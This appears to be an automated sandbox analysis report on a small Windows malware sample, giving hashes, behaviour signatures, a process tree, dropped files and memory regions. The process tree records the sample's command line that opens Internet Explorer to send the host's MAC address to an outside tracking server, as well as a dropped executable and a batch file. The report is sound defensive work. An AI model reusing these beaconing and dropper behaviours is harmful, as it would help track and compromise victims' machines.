Analysis

  • max time kernel
    143s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-07-2024 13:50

General

  • Target

    2860b75aaffc7343d87e72a254828899_JaffaCakes118.exe

  • Size

    54KB

  • MD5

    2860b75aaffc7343d87e72a254828899

  • SHA1

    e90504c7363f9a6f6e4153619ee4253a1265392b

  • SHA256

    8a7382f73646c011b0463e7699801712c2dc9546fcb1f346533b1171495b15c4

  • SHA512

    e52104e945c57c00ad319ac9ef8c8aec87c0955af34b26bb5bb195e505c1592bb638de06b81562e6b1f7a62bd093aabcec6b9e29defe95bf24a77f12bd6c0f4f

  • SSDEEP

    1536:SLdYBv0Pb7R6O86TxCOZnDxvPxIK53c73:SLsmfR607nZBM73

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 37 IoCs
  • Modifies registry class 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2860b75aaffc7343d87e72a254828899_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\2860b75aaffc7343d87e72a254828899_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4928
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www.160kb.com/tj/g.asp?id=langya&mac=bf:66:ac:be:94:57
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:212
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:212 CREDAT:17410 /prefetch:2
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:5060
    • C:\Program Files\windows\1ass.exe
      "C:\Program Files\windows\1ass.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:2828
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\a.bat" "
      2⤵
        PID:1412

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Program Files\windows\1ass.exe

      Filesize

      20KB

      MD5

      09958dafe5c364931eeed79f4ee8ba61

      SHA1

      099d982bca0d0477f3e85bf25149b1d60b431bb2

      SHA256

      92159d9dd31101c325cbd44a593606546b08cc93230f41addd424a9458980c53

      SHA512

      a4ad8a64ed87ccba9cd3eb38e90f28d58bbf71ebd6f5916eb931acc8842c00a77a58d14a7524219dbd8937aeadbb036fcf18a364684e629bf87bdc20c39caa2d

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\9F3DY11H\js-sdk-pro.min[1].js

      Filesize

      33KB

      MD5

      24bb520e9517f2ed3ed987b46aeaf723

      SHA1

      846723563d7dd2bff3954f93633b11af0103adc8

      SHA256

      d1f1bfe698f2ffb7b3e7a885a301d58f9554d45df0a31c3e8b53c84b33c80d27

      SHA512

      31afbcd2ee87c84cc3e56355da8ddc741a69d918c2687984265745d8046deb18c494cbca6aaf8d4eae6b035e888e6f7cf9b0d59a255f2714963d7b3edbb3c87f

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\9F3DY11H\suggestions[1].en-US

      Filesize

      17KB

      MD5

      5a34cb996293fde2cb7a4ac89587393a

      SHA1

      3c96c993500690d1a77873cd62bc639b3a10653f

      SHA256

      c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

      SHA512

      e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

    • C:\Users\Admin\AppData\Local\Temp\a.bat

      Filesize

      211B

      MD5

      0ccd2bc93c2b61d4682e9e6fc2aa523d

      SHA1

      2438b33a92358a177093c5da5a314861e6379e2f

      SHA256

      6a4a0a590a4738b980a07de2ea050e900062ed6403ba86ea87d8a4dad874a790

      SHA512

      f23321b6b0039a280a2c0394e5b3bb02a4dfe23b0c453e4d322810c57a227cad457c45159e99838567137e73eba33704f08cf930dd5e0c9ee82e13e994116ea0

    • memory/2828-17-0x0000000000400000-0x000000000040E000-memory.dmp

      Filesize

      56KB

    • memory/2828-18-0x00000000001C0000-0x00000000001C2000-memory.dmp

      Filesize

      8KB

    • memory/2828-115-0x0000000000400000-0x000000000040E000-memory.dmp

      Filesize

      56KB

    • memory/4928-0-0x0000000000400000-0x000000000041A000-memory.dmp

      Filesize

      104KB

    • memory/4928-1-0x00000000001C0000-0x00000000001C2000-memory.dmp

      Filesize

      8KB

    • memory/4928-5-0x0000000000400000-0x000000000041A000-memory.dmp

      Filesize

      104KB

    • memory/4928-24-0x0000000000400000-0x000000000041A000-memory.dmp

      Filesize

      104KB